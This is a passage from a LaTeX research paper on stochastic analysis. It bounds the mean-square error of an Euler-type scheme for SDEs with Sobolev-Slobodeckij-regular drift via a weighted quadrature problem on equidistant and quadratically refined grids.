So, combining \eqref{est1}, \eqref{SumE}, and \eqref{est2}, we obtain that there exists a constant $c_{ a,b,T}^{(3)} >0$ such that
\begin{align}\label{mainest1} \sup_{t \in [0,T]}
{\mathbb{E}}\!\left[|X_t-x_t|^2 \right]\leq c_{ a,b,T}^{(3)} \left( \|\pi_n\|^2 + \sup_{t \in [0,T]} \mathcal{E}_3(t) \right).
\end{align}
\textit{Step 3:} Now we use the Girsanov-transform with density $L_T=L_T^{(\pi_n)}$ as in \eqref{rndensity}, i.e.~as before we change the measure to $\mathbb{Q}$ to replace the Euler scheme $x=x^{(\pi_n)}$ by $W+\xi$.
For $\varepsilon \in (0,1)$, H\"older's inequality and Lemma \ref{girsanov} yield
\begin{align*}
\mathcal{E}_3(t) &= {\mathbb{E}}_{\mathbb{Q}}\left[L_T^{-1} \left|\int_0^T \mathbf{1}_{[0,t]}(s) \varphi'(x_s) \left(b(x_s)- b(x_{{\underline{s}}})\right)ds\right|^2 \right]
\\&\le \left( {\mathbb{E}}_{\mathbb{Q}}\!\left[|L_T|^{-\frac{1}{\varepsilon}}\right]\right) ^{\!\varepsilon} \left( {\mathbb{E}}_{\mathbb{Q}} \!\left[ \left| \int_0^t \varphi'(x_s) \left(b(x_s)- b(x_{{\underline{s}}})\right)ds \right|^{\frac{2}{1-\varepsilon}} \right]\right)^{\!1-\varepsilon}
\\ & \leq c^{(L)}_{\mu,T,\varepsilon} \left( {\mathbb{E}} \!\left[ \left| \int_0^t \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right)ds\right|^{\frac{2}{1-\varepsilon}} \right]\right)^{\!1-\varepsilon}.
\end{align*} Note that $c^{(L)}_{\mu,T,\varepsilon}$ is independent of $\pi_n$.
Since
\begin{align*}
& \left| \int_0^{t} \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right) ds \right|^{\frac{2}{1-\varepsilon}} \\&
\,\, = \left| \int_0^{t} \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right)ds \right|^{\frac{2\varepsilon}{1-\varepsilon}} \left| \int_0^{t} \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right)ds \right|^2
\\
& \,\, \leq (2 {t} \| \varphi' b\|_{\infty})^{\frac{2\varepsilon}{1-\varepsilon}} \left| \int_0^{t} \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right)ds \right|^2,
\end{align*}
we obtain for all $t \in [0,T]$,
\begin{align}\label{mainest2} \mathcal{E}_3{(t)} \leq c^{(L)}_{\mu,T,\varepsilon} (2t\| \varphi' b\|_{\infty})^{2\varepsilon} (\mathcal{W}^{(\pi_n)}_{t})^{1-\varepsilon}. \end{align}
Combining \eqref{mainest1} and \eqref{mainest2} proves the theorem.
\end{proof}
\begin{remark}\label{quad_rem}
The term $\mathcal{W}^{(\pi_n)}_{t}$ corresponds to the mean-square error of a weighted quadrature problem, namely the prediction of
$$ I= \int_0^T \mathcal{Y}_s Z_s ds$$
by the quadrature rule $${I}^{(\pi_n)}= \sum_{k=0}^{n-1} Z_{t_k} \int_{t_k}^{t_{k+1}} \mathcal{Y}_s ds, $$ where $$\mathcal{Y}_t= \varphi'(W_t + \xi)= \exp\left(-2\int_0^{W_t+\xi} b(z)dz \right) , \qquad t \in [0,T],$$ is a random weight function,
and the process $Z$ given by $$Z_t=b(W_t+ \xi), \qquad t \in [0,T],$$ is evaluated at $t_0, \ldots, t_{n-1}$.
Related unweighted integration problems, i.e.~with $\mathcal{Y}=1$ and $Z$ given by irregular functions of stochastic processes such as (fractional) Brownian motion, SDE solutions, or general Markov processes, have recently been studied in
\cite{ngo2011,Kohatsu-higa-etal,altmeyer2017}.
In particular, Sobolev-Slobodeckij spaces have been used in this context by \citet{altmeyer2017}.
The study of quadrature problems for stochastic processes goes back to the seminal works of \citet{sy1,sy2,sacks_3,sy3}.
Note also that the approximation of It\=o-integrals of the form
$\int_0^1 g(s)dW_s$, where $g$ has fractional Sobolev regularity of order $\kappa \in (0,1)$ by means of a Riemann-Maruyama approximation based on a randomly shifted grid has been studied in \cite{raphael}.
\end{remark}
\section{Analysis of the quadrature problem}
For the analysis of
\begin{align*}
\mathcal{W}^{(\pi_n)}_{t} &= {\mathbb{E}}\!\left[ \left| \int_0^t \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right) ds \right|^2\right], \qquad t \in [0,T],
\end{align*}
we assume additionally Assumption \ref{ass_b}, i.e.~that the irregular part of the drift has Sobolev-Slobodeckij regularity of order $\kappa\in(0,1)$.
\medskip
\subsection{Analytic preliminaries}
As a preparation we need:
\begin{lemma} \label{sobolev}
Let Assumptions \ref{ass} and \ref{ass_b} hold. Then we have
$ |\varphi' b|_{\kappa}< \infty$.
\end{lemma}
\begin{proof}
We can write
\begin{align*}
(\varphi'b)(x)- (\varphi'b)(y) &= \varphi'(x)(b(x)-b(y)) + b(y) (\varphi'(x)-\varphi'(y)).
\end{align*}
Since $\varphi'$ is bounded, we have that
$$
\int_{\mathbb{R}} \int_{\mathbb{R}} \frac{ |\varphi'(x )(b(x )-b(y))|^2 }{|x-y|^{1+ 2 \kappa}} dx dy
\leq
\|\varphi'\|_\infty^2 |b|_{\kappa}^2.
$$
Moreover, the boundedness of $\varphi''$ implies
$$| b(y) (\varphi'(x)-\varphi'(y))|^2 \leq |b(y)|^2 \|\varphi''\|_{\infty}^2 |x-y|^2. $$
Since $b$ is bounded and $b \in L^1(\mathbb{R})$, it follows that $b \in L^2(\mathbb{R})$.
Hence, for all $ \kappa \in (0,1)$ we have
\begin{align*}
\int_{\mathbb{R}} \int_{y-1}^{y+1} \frac{|b(y) (\varphi'(x)-\varphi'(y))|^2}{|x-y|^{1+2\kappa}} dx dy
&\le 2 \|\varphi''\|_{\infty}^2 \int_{\mathbb{R}} |b(y)|^2 \int_{y}^{y+1} |x-y|^{1-2\kappa} dx dy \\
& = \frac{1}{1-\kappa} \|\varphi''\|_{\infty}^2 \| b \|_{L^2}^2 < \infty.
\end{align*}
Furthermore, the boundedness of $\varphi'$ yields
\begin{align*}
\int_{\mathbb{R}} \int_{y+1}^{\infty} \frac{|b(y) (\varphi'(x)-\varphi'(y))|^2}{|x-y|^{1+2\kappa}} dx dy
&\leq {4} \|\varphi'\|_{\infty}^2 \int_{\mathbb{R}} |b(y)|^2 \int_{y+1}^{\infty} |x-y|^{-1-2\kappa} dx dy \\
& = \frac{2}{\kappa} \|\varphi'\|_{\infty}^2 \| b \|_{L^2}^2< \infty,
\end{align*}
and analogously
\begin{align*}
\int_{\mathbb{R}} \int^{y-1}_{-\infty} \frac{|b(y) (\varphi'(x)-\varphi'(y))|^2}{|x-y|^{1+2\kappa}} dx dy
\le \frac{2}{\kappa} \|\varphi'\|_{\infty}^2 \| b \|_{L^2}^2< \infty.
\end{align*}
Thus, the assertion follows.
\end{proof}
Since the Sobolev-Slobodeckij semi-norm is shift invariant, Lemma \ref{sobolev} also yields:
\begin{corollary} \label{sobolev-2}
Let Assumptions \ref{ass} and \ref{ass_b} hold. Then we have $\mathbb{P}$-a.s. that
$$ |\varphi'b(\cdot + \xi)|_{\kappa} = |\varphi'b|_{\kappa}< \infty .$$
\end{corollary}
In the following, we will frequently use that for all $p\geq 0$ there exists a constant $c_p > 0$ such that for all $w \in{\mathbb{R}}$ we have
\begin{align}\label{exp-est}
|w|^p \exp(-w^2/2) \leq c_p \exp(-w^2/4).
\end{align}
A crucial tool will be the following bound on the Gaussian density:
\begin{lemma} \label{lem_pab} Let $t>s>0$ and
\begin{align}\label{pts}
p_{t,s}(x,y)= \frac{1}{2 \pi} \frac{1}{\sqrt{s(t-s)}} \exp \left( - \frac{(x-y)^2}{2(t-s)} - \frac{y^2}{2s} \right), \qquad x,y \in \mathbb{R}.
\end{align}
Then we have
\begin{align}\label{p-deriv}
\frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y)&= \nonumber\frac{1}{4} p_{t,s}(x,y) \left( \frac{y^2}{s^2} - \frac{1}{s} \right) \left( \frac{(y-x)^2}{(t-s)^2} - \frac{1}{t-s} \right) \\ & \qquad - \frac{1}{4} p_{t,s}(x,y) \left( \frac{(y-x)^2}{(t-s)^2} - \frac{1}{t-s} \right)^2 \\ & \qquad + \frac{1}{2} p_{t,s}(x,y) \left( \frac{2(y-x)^2}{(t-s)^3} - \frac{1}{(t-s)^2} \right) \nonumber
\end{align}
and there exists a constant ${c_{\kappa}^{(p)}}>0$ such that
\begin{align} \label{est-pab}
-|x-y|^{1+2\kappa} \frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y) \leq {c_{\kappa}^{(p)}} \left( |t-s|^{\kappa -2} s^{-1/2}+ |t-s|^{\kappa -1} s^{-3/2} \right).
\end{align}
\end{lemma}
\begin{proof}
Straightforward calculations yield the first assertion \eqref{p-deriv}.
Moreover, we have
\begin{equation}\label{help-densityp}
\begin{aligned}
&-|x-y|^{1+2\kappa} \frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y) \\ &\quad \leq
\left[ \frac{3}{4} \frac{1}{(t-s)^2} + \frac{1}{4} \frac{(x-y)^4}{(t-s)^4} + \frac{1}{4} \frac{y^2}{s^2}\frac{1}{t-s}+ \frac{1}{4} \frac{(x-y)^2}{s(t-s)^2}\right]
|x-y|^{1+2\kappa} p_{t,s}(x,y)
\\ &\quad =
\frac{1}{8\pi} \frac{1}{\sqrt{s(t-s)}} \frac{1}{|t-s|^{3/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{2(t-s)}\right)\exp\!\left(-\frac{y^2}{2s}\right)
\\& \qquad \qquad \quad \qquad \qquad \qquad \qquad \qquad \times
\left[ 3 \frac{|x-y|^{1+2\kappa} }{|t-s|^{1/2+\kappa}} +
\frac{|x-y|^{5+2\kappa} }{|t-s|^{5/2+\kappa}}\right] \\ & \qquad +
\frac{1}{8\pi} \frac{1}{\sqrt{s(t-s)}} \frac{1}{s|t-s|^{1/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{2(t-s)}\right)\exp\!\left(-\frac{y^2}{2s}\right)
\\& \qquad \qquad \quad \qquad \qquad \qquad \qquad \qquad \times
\left[
\frac{y^2}{s} \frac{|x-y|^{1+2\kappa} }{|t-s|^{1/2+\kappa}} + \frac{|x-y|^{3+2\kappa} }{|t-s|^{3/2+\kappa}}\right].
\end{aligned}
\end{equation}
Setting $w^2=(x-y)^2/(t-s)$ respectively $w^2=y^2/s$ in \eqref{exp-est}, we obtain that for every $p \geq 0$ there exists a constant $c_{2p}>0$ such that for all $t>s>0$ and $x,y \in \mathbb{R}$ it holds
\begin{align*}
\frac{|x-y|^{2p}}{|t-s|^{p}} \exp\!\left(- \frac{|x-y|^{2}}{2(t-s)} \right) & \leq c_{2p} \exp\! \left(- \frac{|x-y|^{2}}{4(t-s)} \right) , \\
\frac{y^{2p}}{s^p} \exp\!\left(- \frac{y^{2}}{2s} \right) & \leq c_{2p} \exp\! \left(- \frac{y^{2}}{4s} \right) .
\end{align*}
This and \eqref{help-densityp} establish that there exist constants $c_{1+2\kappa},c_{5+2\kappa},c_{2},c_{3+2\kappa}>0$ such that
\begin{align*}
&-8 \pi \sqrt{s(t-s)}|x-y|^{1+2\kappa} \frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y) \\ &\quad \leq
\left[ \frac{3 c_{1+2\kappa}}{|t-s|^{3/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{4(t-s)}-\frac{y^2}{2s}\right)
+ \frac{c_{5+2\kappa}}{|t-s|^{3/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{4(t-s)}-\frac{y^2}{2s}\right)
\right.\\&\qquad+\left.
\frac{c_2 c_{1+2\kappa}}{s|t-s|^{1/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{4(t-s)}-\frac{y^2}{4s}\right)
+\frac{c_{3+2\kappa}}{s|t-s|^{1/2-\kappa}} \exp\!\left(-\frac{(x-y)^2}{4(t-s)}-\frac{y^2}{2s}\right) \right].
\end{align*}
Hence, there exists a constant ${c_{\kappa}^{(p)}}>0$ such that
\begin{align*}
-|x-y|^{1+2\kappa} \frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y)
&\leq {c_{\kappa}^{(p)}} |t-s|^{\kappa -3/2} \cdot \frac{1}{\sqrt{s(t-s)}} \exp \left( - \frac{(x-y)^2}{4(t-s)} - \frac{y^2}{2s} \right) \\ & \quad + {c_{\kappa}^{(p)}} |t-s|^{\kappa -1/2} s^{-1} \cdot \frac{1}{\sqrt{s(t-s)}} \exp \left( - \frac{(x-y)^2}{4(t-s)} - \frac{y^2}{4s} \right).
\end{align*}
Using that the exponential terms above are bounded by one, we have
\begin{align*}
-|x-y|^{1+2\kappa} \frac{ \partial^2}{\partial t \partial s} p_{t,s}(x,y)
&\leq {c_{\kappa}^{(p)}} |t-s|^{\kappa -2} s^{-1/2} + {c_{\kappa}^{(p)}} |t-s|^{\kappa -1} s^{-3/2}.
\end{align*}
\end{proof}
\subsection{Stochastic preliminaries}
We denote by $\phi_{\vartheta}$ the function $\phi_{\vartheta}(x)=\frac{1}{\sqrt{2 \pi \vartheta}}\exp\big(-\frac{x^2}{2\vartheta}\big)$, $x\in \mathbb{R}$, $\vartheta>0$.
We require the following auxiliary result.
\begin{lemma} \label{lem_1}
Let $\kappa \in (0,1)$, and let $f: \mathbb{R} \rightarrow \mathbb{R}$ be measurable such that $|f|_{\kappa}< \infty.$
Then there exists a constant $c_{\kappa}>0$ such that for all $0 < s \leq t \leq T$
we have
$$ {\mathbb{E}} \!\left[ | f(W_t +\xi) - f(W_{s}+\xi)|^2 \right] \leq c_{\kappa} |f|_{\kappa}^2 \cdot (t-s)^{\kappa} s^{-1/2}. $$
\end{lemma}
\begin{proof}
Clearly, we have
$$ {\mathbb{E}} \!\left[ | f(W_t+ \xi) - f(W_{s}+\xi)|^2 \right] = {\mathbb{E}} \left[ {\mathbb{E}} \!\left[ | f(W_t+ \xi) - f(W_{s}+\xi)|^2 \big{|} \mathcal{F}_0 \right] \right]. $$
Since $W$ is independent of $\mathcal{F}_0$, we obtain
\begin{align*}
& {\mathbb{E}} \!\left[ | f(W_t+ \xi) - f(W_{s}+\xi)|^2 \big{|} \mathcal{F}_0 \right] = \int_{{\mathbb{R}}} \int_{{\mathbb{R}}} (f(x+y+\xi)-f(y+\xi))^2 \phi_{t-s}(x) \phi_{s}(y) dy dx.
\end{align*}
Now write
\begin{align*}
& \int_{{\mathbb{R}}} \int_{{\mathbb{R}}} (f(x+y+ \xi)-f(y+\xi))^2\phi_{t-s}(x) \phi_{s}(y) dy dx
\\ & \quad = (t-s)^{1/2 + \kappa} \int_{{\mathbb{R}}} \int_{{\mathbb{R}}} \frac{(f(x+y+\xi)-f(y+\xi))^2}{|x|^{1+ 2 \kappa}} \frac{|x|^{1+2 \kappa}}{(t-s)^{1/2 + \kappa}} \phi_{t-s}(x) \phi_{s}(y) dy dx .
\end{align*}
Next we use \eqref{exp-est} with $w^2=x^2/(t-s)$.
This yields for all $x\in{\mathbb{R}}$ the estimate
\begin{align*}
\frac{|x|^{1+2 \kappa}}{(t-s)^{1/2 + \kappa}}
\phi_{t-s}(x)
&=
\frac{|x|^{1+2 \kappa}}{(t-s)^{1/2 + \kappa}}
\frac{1}{\sqrt{2 \pi(t-s)}} \exp\! \left(- \frac{x^2}{2(t-s)} \right)
\\ & \le
c_{1+2\kappa} \frac{1}{\sqrt{2 \pi(t-s)}} \exp\! \left(- \frac{x^2}{4(t-s)}\right)
\leq
c_{1+2\kappa} \frac{1}{\sqrt{2 \pi(t-s)}} .
\end{align*}
Since moreover
$ \phi_{s}(y) \leq \frac{1}{\sqrt{2 \pi s}}$, Corollary \ref{sobolev-2} yields
\begin{align*}
{\mathbb{E}}\!\left[ | f(W_t + \xi )) - f(W_{s}+\xi)|^2 \right]
&\leq
\frac{c_{1+2\kappa}}{2\pi } (t-s)^{\kappa}s^{-1/2} \int_{{\mathbb{R}}} \int_{{\mathbb{R}}} {\mathbb{E}} \left[ \frac{(f(z+\xi)-f(y+\xi))^2}{|z-y|^{1+2 \kappa}} \right]
dy dz
\\&=
\frac{c_{1+2\kappa}}{2\pi } (t-s)^{\kappa}s^{-1/2} |f|_{\kappa}^2,
\end{align*}
which is the desired statement.
\end{proof}
The following Lemma deals with an integration problem seemingly similar to $\mathcal{W}^{(\pi_n)}$. However, the transformation of $W+\xi$ has significantly more smoothness here.
\begin{lemma}\label{step-decomp_2}
Let $\kappa \in (0,1)$ and $\psi_3,\psi_4\colon{\mathbb{R}}\to{\mathbb{R}}$ be bounded and measurable functions. Moreover, let $\psi_3$ be absolutely continuous with bounded Lebesgue density $\psi'_3\colon{\mathbb{R}}\to{\mathbb{R}}$ that satisfies $|\psi_3'|_{\kappa} < \infty$.
Then, there exists a constant $c^{(qs)}_{\psi_3, \psi_4,\kappa,T}>0$ such that
\begin{align*} & \sup_{t \in [0,T]} {\mathbb{E}}\!\left[
\left| \int_0^{t} \left( \psi_3(W_{s}+\xi) - \psi_3(W_{\underline{s}}+\xi) \right) \psi_4(W_{{\underline{s}}}+\xi) ds \right|^2\right] \\ & \qquad \qquad \qquad \leq c^{(qs)}_{\psi_3, \psi_4, \kappa, T} \left( 1+ \sum_{k=1}^{n-1} t_k^{-1/2}(t_{k+1}-t_k)\right)\cdot \| \pi_n \|^{1+\kappa}.
\end{align*}
\end{lemma}
\begin{proof}
The fundamental theorem of Lebesgue-integral calculus implies for all $t\in[0,T]$ that
\begin{equation}\label{W21W22}
\begin{aligned}
& {\mathbb{E}}\!\left[
\left| \int_0^{t} \left( \psi_3(W_{s}+\xi) - \psi_3(W_{\underline{s}}+\xi) \right) \psi_4(W_{{\underline{s}}}+\xi) ds \right|^2\right] \\
& = {\mathbb{E}} \left[ \left| \int_0^{t} \int_0^1 \left( W_s -W_{{\underline{s}}} \right) \psi'_3\left( \xi + W_{{\underline{s}}} + \gamma (W_s - W_{{\underline{s}}}) \right) \psi_4(W_{{\underline{s}}}+\xi) d \gamma ds \right|^2\right]
\\ & \leq 2 \left(\mathcal{E}_{1}{ (t)} +\mathcal{E}_{2}{ (t)} \right),
\end{aligned}
\end{equation}
where
\begin{align*}
\mathcal{E}_{1}{(t)}&=
{\mathbb{E}} \left[ \left| \int_0^{t} \int_0^1 \left[\psi'_3(W_{{\underline{s}}}+\xi + \gamma(W_s-W_{{\underline{s}}}))
- \psi'_3(W_{{\underline{s}}}+\xi)
\right]\left( W_s -W_{{\underline{s}}} \right) \psi_4(W_{{\underline{s}}}+\xi) d \gamma ds \right|^2\right],
\\
\mathcal{E}_{2}{(t)}&
= {\mathbb{E}} \left[ \left| \int_0^{{t}} (\psi'_3 \psi_4)(W_{{\underline{s}}}+\xi)\left( W_s -W_{{\underline{s}}} \right) ds \right|^2\right] .
\end{align*}
For the second term, we apply Lemma \ref{step-decomp} with $\psi_1=\psi_3'\psi_4$, $\psi_2=1$ and obtain
\begin{equation}\label{est-W22}
\mathcal{E}_{2} {(t)} \leq
\frac{t }{2} \|\psi'_3 \psi_4\|_\infty^2 \| \pi_n \|^2.
\end{equation}
For $\mathcal{E}_1$ the Cauchy-Schwarz inequality gives
\begin{align*}
\mathcal{E}_{1}{ (t)} \le {t} \int_0^{ t} \int_0^1 {\mathbb{E}}\!\left[ \left| \left[ \psi_3'(W_{{\underline{s}}}+\xi + \gamma(W_s-W_{{\underline{s}}}))
- \psi_3'(W_{{\underline{s}}}+\xi)
\right]\left( W_s -W_{{\underline{s}}} \right) \psi_4 (W_{{\underline{s}}}+\xi) \right|^2 \right] d \gamma ds.
\end{align*}
Splitting the time integral yields
\begin{equation}\label{est-W21-1}
\mathcal{E}_{1}{(t)}\leq 4 {t} \| \psi'_3 \|_{\infty}^2 \| \psi_4 \|_{\infty}^2 t_1^2 +
{t } \widetilde{\mathcal{E}}_{1}{(t)} \cdot\mathbf{1}_{[t_1,T]}(t)
\le
4 {t}\| \psi'_3 \|_{\infty}^2 \| \psi_4 \|_{\infty}^2 \| \pi_n \|^2 +
{t} \widetilde{\mathcal{E}}_{1}{(t)}\cdot\mathbf{1}_{[t_1,T]}(t)
,
\end{equation}
where
$$ \widetilde{\mathcal{E}}_{1}{(t)}=
\int_{t_1}^{t} \int_0^1 {\mathbb{E}}\!\left[ \Big| \left[ \psi_3'(W_{{\underline{s}}}+\xi + \gamma(W_s-W_{{\underline{s}}}))
- \psi_3'(W_{{\underline{s}}}+\xi)
\right]\left( W_s -W_{{\underline{s}}} \right) \psi_4 (W_{{\underline{s}}}+\xi) \Big|^2\right]d\gamma ds. $$
Now write
\begin{align*}
\widetilde{\mathcal{E}}_{1}{(t)}&= \int_{t_1}^{t} \int_0^1{\mathbb{E}}\!\left[ {\mathbb{E}}\! \left[ \Big| \left[ \psi_3'(W_{{\underline{s}}}+\xi + \gamma(W_s-W_{{\underline{s}}}))
- \psi_3'(W_{{\underline{s}}}+\xi)
\right]\left( W_s -W_{{\underline{s}}} \right) \psi_4(W_{{\underline{s}}}+\xi) \Big|^2 \Big{|} \mathcal{F}_0 \right] \right]d \gamma ds \\
& \,\, = {\mathbb{E}}\!\Big [ \int_{\mathbb{R}} \int_{\mathbb{R}} \int_{t_1}^{t} \int_0^1 [\psi_3'(y+ \xi+x)
- \psi_3'(y+\xi)]^2 \left( \frac{x}{\gamma} \right)^2 (\psi_4( y+\xi ))^2
\\&\ \qquad \qquad \qquad \qquad \qquad \qquad \qquad \qquad \qquad \qquad \qquad \qquad
\times \phi_{\gamma^2(s-{\underline{s}})}(x) \phi_{{\underline{s}}}(y) d \gamma ds dy dx\Big].
\end{align*}
With $\phi_{ {\underline{s}}}(y) \leq \frac{1}{ \sqrt{2\pi {\underline{s}}}}$ for all $y \in \mathbb{R}$, we obtain
\begin{align*}
\widetilde{\mathcal{E}}_{1}{(t)} & \leq \frac{\| \psi_4 \|_{\infty}^2}{\sqrt{2 \pi}} {\mathbb{E}}\!\left[ \int_{\mathbb{R}} \int_{\mathbb{R}} \int_{t_1}^{t} \int_0^1 {\underline{s}} ^{-1/2} [\psi_3'(y+ \xi+ x)
- \psi_3'(\xi +y)]^2 \left( \frac{x}{\gamma} \right)^2 \phi_{\gamma^2(s-{\underline{s}})}(x) d \gamma ds dy dx\right]
\\ & = \frac{\| \psi_4 \|_{\infty}^2}{\sqrt{2 \pi}} {\mathbb{E}}\!\left[ \int_{\mathbb{R}} \int_{\mathbb{R}} \int_{t_1}^{ t} \int_0^1 \gamma^{1+2\kappa} {\underline{s}}^{-1/2} (s-{\underline{s}})^{3/2 + \kappa} \frac{[\psi_3'(y+ \xi+ x)
- \psi_3'(\xi+y)]^2}{|x|^{1+2\kappa}}
\right.\\ & \left.\qquad \qquad \qquad \qquad\qquad \qquad \qquad \qquad \qquad \qquad \times \frac{|x|^{3+ 2 \kappa}}{ (\gamma^2(s-{\underline{s}}))^{3/2 + \kappa}} \phi_{\gamma^2(s-{\underline{s}})}(x) d \gamma ds dy dx\right].
\end{align*}
Setting $w^2=x^2/(\gamma^2(s-{\underline{s}}))$ in \eqref{exp-est} we get that for all $x \in \mathbb{R}, s \in (0,T], \gamma \in (0,1]$
there exists a constant $c_{3+2\kappa}>0$ such that
\begin{align} \label{exp_est-W21}
\frac{|x|^{3+ 2 \kappa}}{ (\gamma^2(s-{\underline{s}}))^{3/2 + \kappa}} \phi_{\gamma^2(s-{\underline{s}})}(x)
&= \frac{|x|^{3+ 2 \kappa}}{ (\gamma^2(s-{\underline{s}}))^{3/2 + \kappa}} \exp\!\left( -\frac{x^2}{2\gamma^2(s-{\underline{s}})} \right)\frac{1}{\sqrt{2\pi\gamma^2(s-{\underline{s}})}} \nonumber \\
&\le c_{3+2\kappa} \exp\!\left( -\frac{x^2}{4\gamma^2(s-{\underline{s}})} \right) \frac{1}{\sqrt{2\pi\gamma^2(s-{\underline{s}})}}
\\ & \leq c_{3+2\kappa} \frac{1}{\sqrt{2\pi\gamma^2(s-{\underline{s}})}}.
\end{align}
Therefore,
\begin{align*}
\widetilde{\mathcal{E}}_{1}{ (t)} & \leq
\frac{c_{3+2\kappa} \| \psi_4 \|_{\infty}^2}{2 \pi} \int_{\mathbb{R}} \int_{\mathbb{R}} \int_{t_1}^{t} \int_0^1 \gamma^{2\kappa} {\underline{s}}^{-1/2} (s-{\underline{s}})^{1 + \kappa} \frac{{\mathbb{E}} \, [|\psi'_3(y+ x + \xi )
- \psi_3'(y + \xi)|^2]}{|x|^{1+2\kappa}} d \gamma ds dy dx \\
& = \frac{c_{3+2\kappa} \| \psi_4 \|_{\infty}^2}{2 \pi} \int_{t_1}^{t} \int_0^1 \gamma^{2\kappa} {\underline{s}}^{-1/2} (s-{\underline{s}})^{1 + \kappa}
{\mathbb{E}}\!\left[ | \psi'_3(\cdot+\xi)|_{\kappa}^2 \right]
d \gamma ds .
\end{align*}
Corollary \ref{sobolev-2} gives
$$ {\mathbb{E}}\!\left[ | \psi'_3(\cdot+\xi)|_{\kappa}^2 \right] = |\psi'_3 |_{\kappa}^2, $$
and hence
we obtain for all $t \in [0,T]$,
\begin{align} \label{est-W21-2}
\widetilde{\mathcal{E}}_{1}{ (t)} \nonumber
& \leq \frac{c_{3+2\kappa} \| \psi_4 \|_{\infty}^2 | \psi'_3 |_{\kappa}^2 }{2 \pi} \int_{t_1}^{t} \int_0^1 \gamma^{2\kappa} {\underline{s}}^{-1/2} (s-{\underline{s}})^{1 + \kappa} d \gamma ds
\\ & \leq \frac{c_{3+2\kappa} \| \psi_4 \|_{\infty}^2 | \psi'_3 |_{\kappa}^2 }{2 \pi (1+ 2 \kappa)} \| \pi_n \|^{1+\kappa} \int_{t_1}^{T} {\underline{s}}^{-1/2} ds.
\end{align}
Combining \eqref{W21W22}, \eqref{est-W22}, \eqref{est-W21-1}, and \eqref{est-W21-2} concludes the proof.
\end{proof}
\subsection{Error analysis of the quadrature problem}
Now we will consider two specific discretizations:~an equidistant discretization $\pi_n^{equi}$ given by
\begin{align}\label{equidisc} t_k^{equi}= T \frac{k}{n}, \qquad k=0, \ldots, n,\end{align}
and the non-equidistant discretization $\pi_n^{*}$ given by
\begin{align}\label{net-ga}
t_k^*=T \left(\frac{k}{n}\right)^{\!2}, \quad k=0, \ldots, n. \end{align}
Clearly, we have
$$ t_{k+1}^*-t_k^* = \frac{2k+1}{n} \cdot \frac{T}{n}, \qquad k=0, \ldots, n-1,$$
and
\begin{align}\label{Delta-est} \| \pi_n^* \| = \max_{k=0,\ldots, n-1} |t_{k+1}^*-t_k^*|= \left( 2- \frac{1}{n} \right) \cdot \frac{T}{n}\le\frac{2T}{n}. \end{align}
Moreover, we have:
\begin{lemma}\label{sum-int}
Let $p\in(0,1)$. For $\pi_n^{equi}$ and $\pi_n^*$ we have
\begin{align*}\sum_{k=1}^{n-1} t_k^{-p} (t_{k+1}-t_k)
\leq \frac{3}{2}\frac{T^{1-p}}{1-p}.
\end{align*}
\end{lemma}
\begin{proof}
Consider first $\pi_n^{equi}$.
Using Riemann sums
we obtain
\begin{align*}
\sum_{k=1}^{n-1} t_k^{-p} (t_{k+1}-t_k)
= T^{1-p} \sum_{k=1}^{n-1} \left( \frac{k}{n}\right)^{\!-p} \frac{1}{n}
\le
T^{1-p}\int_0^{1} \left(\frac{1}{s}\right)^{p} ds
=\frac{T^{1-p}}{1-p}.
\end{align*}
For $\pi_n^{*}$ we have that
\begin{align*}
\sum_{k=1}^{n-1} t_k^{-p} (t_{k+1}-t_k)
& = T^{1-p} \sum_{k=1}^{n-1} \left( \frac{k}{n}\right)^{-2p} \frac{2k+1}{n^2}
\le 3 T^{1-p} \sum_{k=1}^{n-1} \left( \frac{k}{n}\right)^{1-2p} \frac{1}{n}
\\ & \leq 3 T^{1-p}
\int_0^{1} \left(\frac{1}{s}\right)^{2p-1} ds
= \frac{3}{2}\frac{T^{1-p}}{1-p}.
\end{align*}
Note the case distinction in $p<1/2$, $p=1/2$, and $p>1/2$ for the Riemann sums.
\end{proof}
Our main result is:
\begin{theorem}\label{main_2} Let Assumptions \ref{ass} and \ref{ass_b} hold. Then there exist constants $C^{(Q),equi}_{b,T,\kappa}>0$ and $C^{(Q),*}_{b,T,\kappa}>0$ such that
$$ \sup_{t \in [0,T]} \mathcal{W}^{(\pi_n^{equi})}_{t} \leq C^{(Q),equi}_{b,T,\kappa} \cdot \left( \frac{1}{n^{1+\kappa}} + \frac{1}{n^{3/2}} \right)$$
and
$$ \sup_{t \in [0,T]} \mathcal{W}^{(\pi_n^{*})}_{t} \leq C^{(Q),*}_{b,T,\kappa} \cdot \frac{1+\log(n)}{n^{1+\kappa}}. $$
\end{theorem}
\begin{proof} We will start with an arbitrary discretization and specialize only at the end of the steps to $\pi_n^{equi}$ or $\pi_n^*$, if necessary.
For estimating $\mathcal{W}^{(\pi_n)}$ we use
that
\begin{align} \label{est-W2_prem}
\mathcal{W}^{(\pi_n)}_{t} \leq 2 \left(\mathcal{W}_1{(t)}+ \mathcal{W}_2{(t)} \right),
\end{align}
where
\begin{align*}
\mathcal{W}_1{(t)} &= {\mathbb{E}}\!\left[ \left| \int_0^{t} \left[(\varphi'b)(W_s+\xi)- (\varphi'b)(W_{{\underline{s}}}+\xi) \right] ds \right|^2\right] , \\
\mathcal{W}_2{(t)} &={\mathbb{E}}\!\left[
\left| \int_0^{t} \left[ \varphi'(W_{s}+\xi) - \varphi'(W_{\underline{s}}+\xi) \right] b(W_{{\underline{s}}}+\xi) ds \right|^2\right].
\end{align*}
